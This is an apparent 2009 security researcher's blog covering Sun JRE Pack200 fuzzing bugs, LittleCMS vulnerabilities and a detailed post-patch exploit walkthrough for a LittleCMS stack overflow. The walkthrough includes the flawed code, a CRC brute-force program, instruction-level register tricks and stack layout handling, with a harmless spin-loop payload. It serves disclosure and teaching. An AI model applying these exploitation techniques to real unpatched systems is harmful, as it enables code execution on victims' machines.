Friday, March 27, 2009

Sun Java JRE Pack200 bugs

A friend of mine, Rich Cannings, spotted my name in a Sun security advisory so I guess this means my Pack200 crashes are fixed:

This bug continues a trend of looking to native code parsers within the JRE, in order to break out of it. The most obvious application is to take over desktops via evil applets which abuse these bugs to cause memory corruptions.

The individual bugs themselves are pretty lame insofar as they are under-researched with a bit of dumb fuzzing. I was simply testing the general area for robustness, and found trouble. Other people have hit the same area, through iDefense, in the past couple of JRE updates -- hopefully they did a better job than me.

The interesting point is that researchers seem to have gotten the point regarding native code in the JRE. I've hit areas such as 2D graphics; ICC parsing and now Pack200 parsing. Others have hit GIF parsers and the font parsing. Aside from well-tested native code (jpeglib, zlib, libpng), and more of the same (e.g. a lot of font / 2D medialib code!), what's left? sun.java2d? Have at it :)

Thursday, March 26, 2009

LittleCMS exploit

Now that new packages are out for lcms and OpenJDK, I'll publish my LittleCMS exploit. It's harmless in that if it actually works on your machine, all it does it put your CPU into a spin -- watch out for 100% CPU usage. It's also relatively harmless in that it doesn't work on many systems out of the box. I targeted my 32-bit Ubuntu 8.10 laptop which happens to have an executable heap, executable stack, no stack cookies but does have ASLR.

Here's the sample JPG file with embedded evil ICC profile:

I'm only bothering to write about this because the story behind the exploit contains a few interesting twists which illustrate the iterative constraint solving used in modern exploits:
  • The underlying code flaw is a stack-based buffer overflow. But the data going past the bounds is not arbitrarily user-controlled. (If it were, a traditional stack smashing exploit would work, but the ASLR could affect the reliability of the exploit). Here's the faulty code in cmsio1.c, where nCurves can end up greater than MAXCHANNELS:

    LCMSBOOL ReadSetOfCurves(LPLCMSICCPROFILE Icc, size_t Offset, LPLUT NewLUT, int nLocation)
    for (i=0; i < nCurves; i++) {

    Curves[i] = ReadCurve(Icc);

  • The data going past bounds is actually pointers to heap chunks (returned by ReadCurve). This is nice because it takes ASLR out of the equation. We'll automatically overwrite %eip with a pointer to a valid heap address. But what is in that heap chunk? If it were arbitrary user controlled data, we'd have game over already, but unfortunately it is not. We're looking at pointers to this structure:

    struct GAMMATABLE {
    unsigned int Crc32;
    int Type;
    double Params[10];
    int nEntries;
    WORD GammaTable[1];

  • There are two types of constructs in the input ICC profile used as a basis to populate this structure: curv and para. curv is of little use to us because it mostly leaves Crc32 set to 0 (or set based only on 16 bits of input entropy). Trying to execute the code 0x00 0x00 is a crash because it dereferences the %eax register: add %al,(%eax), and the value of this register is left as 0 or 1 to denote success of failure when the ReadSetOfCurves function exits.

  • This leaves us looking at a para curve, which calculates Crc32 based very indirectly on some input variables under our control. Although we can't reverse it, we can brute force it with a little program:

    #include "lcms.h"

    void AdjustEndianess32(LPBYTE pByte)
    BYTE temp1;
    BYTE temp2;

    temp1 = *pByte++;
    temp2 = *pByte++;
    *(pByte-1) = *pByte;
    *pByte++ = temp2;
    *(pByte-3) = *pByte;
    *pByte = temp1;

    double Convert15Fixed16(icS15Fixed16Number fix32)
    double floater, sign, mid, hack;
    int Whole, FracPart;

    AdjustEndianess32((LPBYTE) &fix32);

    sign = (fix32 < 0 ? -1 : 1);
    fix32 = abs(fix32);

    Whole = LOWORD(fix32 >> 16);
    FracPart = LOWORD(fix32 & 0x0000ffffL);

    hack = 65536.0;
    mid = (double) FracPart / hack;
    floater = (double) Whole + mid;

    return sign * floater;

    main(int argc, const char* argv[]) {
    unsigned int crc;
    unsigned char* p_crc;
    double params[10];
    int type = 0;
    unsigned int i;
    unsigned int start = atoi(argv[1]);

    for (i = start; i <= 0xffffffff; ++i) {
    if ((i % 10000) == 0) {
    printf("progress: %u\n", i);
    params[0] = Convert15Fixed16(i);
    LPGAMMATABLE table = cmsBuildParametricGamma(4096, type + 1, params);
    crc = table->Seed.Crc32;
    p_crc = &crc;
    if ((p_crc[0] == 0x93 || p_crc[0] == 0x95 || p_crc[0] == 0x97) &&
    p_crc[1] == 0xff &&
    p_crc[2] == 0xe6) {
    printf("got it!!!!!!! %u %u\n", i, p_crc[0]);
    return 0;
    return 1;

  • What does this program do? Let's see:

    chris@chris-desktop:~/progs$ ./a.out 3221970952
    got it!!!!!!! 3221970952 151

    This is telling us that a para curve of type 0 whose 4 input bytes are 3221970952 == 0xC00B6008 will result in 0x97 0xff 0xe6 0x?? being written to Crc32. We don't care about the last byte. This assembles to xchg %eax,%edi jmp %esi which will execute because %eip jumps to this para heap chunk, which starts with the CRC. It is urgent to do something in 4 bytes or less because we have terrible control over the rest of the content of this heap chunk. What these 3 bytes do is to overwrite %eax with %edi then jump to %esi. The significance here is that both registers we used were under our control because they were also restored from the stack we trashed with pointers to valid heap chunks.

  • So execution continues at the curve heap chunk pointed to by %esi. We arrange for this to be a curv type chunk. Earlier we dismissed them as useless because the 0 Crc32 will result in a dereference of %eax. But now, thanks to our para chunk, we've repaired %eax to point to a valid heap chunk! Unlike para chunks, curv chunks do contain arbitrary data we can supply, after a mostly-zero header. We've essentially used the control at the beginning of a para chunk to repair %eax and use the vast control at the end of a curv chunk. Before our arbitrary code executes, a bunch of now harmless 0x00 0x00 will execute, writing some junk at the start of one of our unused heap chunks. Finally, just before our arbitrary code, the value of nEntries in the header will be executed. This value is 0x02 0x00 0x00 0x00 which is add (%eax),%al add %al,(%eax). This trashes %eax a little bit before dereferencing it again, but only up to 256 bytes, so we're good and we could always use a different number of entries in our curv chunk. Certainly, a real payload would need more than 2 words.

  • The actual arbitrary code that executes is 0xeb 0xfe which is equivalent to for (;;); in C. Look out for an endian reversed instance of those two bytes, as well as an endian reversed 0xC00B6008 in the exploit file.

  • There's one further twist in the exploit relating to stack alignment. Some compilation optimization leaves no space between the end of the Curves array and the start of the saved registers. Other cases have a 4-byte gap. The exploit caters for both these stack layouts by careful layout of curv vs. para chunks. Here's a simple illustrative table:

    Curve in input fileHit if 0 gapHit if 4 bytes gap
    17: blank curvebp4-byte gap
    18: curv payloadesiebp
    19: curv payloadediesi
    20: blank curvebxedi
    21: para redirect payloadeipebx
    22: para redirect payloadeip + 4eip
    As can be seen, %eip always gets the para payload and %esi always gets the real payload.
With thanks to Julien Tinnes and Tavis Ormandy for inspiration.

Tuesday, March 17, 2009

LittleCMS vulnerabilities

Today, vendor updates should be flowing for vulnerabilities in LittleCMS, sometimes known just as "lcms" or "liblcms". LittleCMS is a very useful open-source colour profile parsing and conversion tool. Some technical details of the various vulnerabilities (stack-based buffer overflows, integer overflows, etc). are given here:

The most interesting thing about LittleCMS is how quickly it has become a very critical building block for UNIX desktops. Let's enumerate some of the pieces of software impacted by any lcms vulnerabilities:
  • OpenJDK. OpenJDK uses lcms to parse colour profiles embedded in JPEG or BMP files. OpenJDK is on the default browser attack surface of a lot of Linux installations, e.g. Fedora 10.

  • Firefox. Firefox 3.1beta uses lcms to parse colour profiles embedded in JPEG files -- by default. (Firefox 3.0 has this ability but not by default, so thankfully this can be addressed before 3.1 goes production).

  • GIMP. GIMP uses the system liblcms library to parse colour profiles embedded in at least JPEG files.
I don't usually do this, but I took the trouble to write an exploit for one of the bugs, because it was fun and had some quirks. It's probably not a great idea to release it just yet -- look for a separate blog post soon.

Finally, some notes on the various Linux system protections that do or don't help defend against the exploit for this stack-based buffer overflow:
  • My exploit targets, but is not limited to, systems with executable heaps. Interestingly 32-bit Ubuntu 8.10 on my laptop shows the heap as non-executable in /proc/<pid>/maps, but it lies because the installed kernel is non-PAE.

  • For systems with non-executable heaps, such as 64-bit Ubuntu 8.10 on my desktop, an exploit is still possible because you can point registers other than rip into the heap (e.g. rbp). I've not written this exploit.

  • Systems with stack smashing detection, such as Fedora 10, do make the exploit hard or impossible. However, the somewhat risky OpenJDK package on such a system is not compiled with stack smashing detection, leaving the default browsing experience vulnerable.

  • I noticed that the Fedora 10 stack smashing detection does not exit cleanly, but gives a SIGSEGV. On 32-bit, the faulting instruction is cmpw $0xb858,(%eax) where %eax == 0x1. Stack frames is __stack_chk_fail __fortify_fail __libc_message backtrace _Unwind_Backtrace ??. Leave a comment if you know what's going on. Sounds dangerous to me.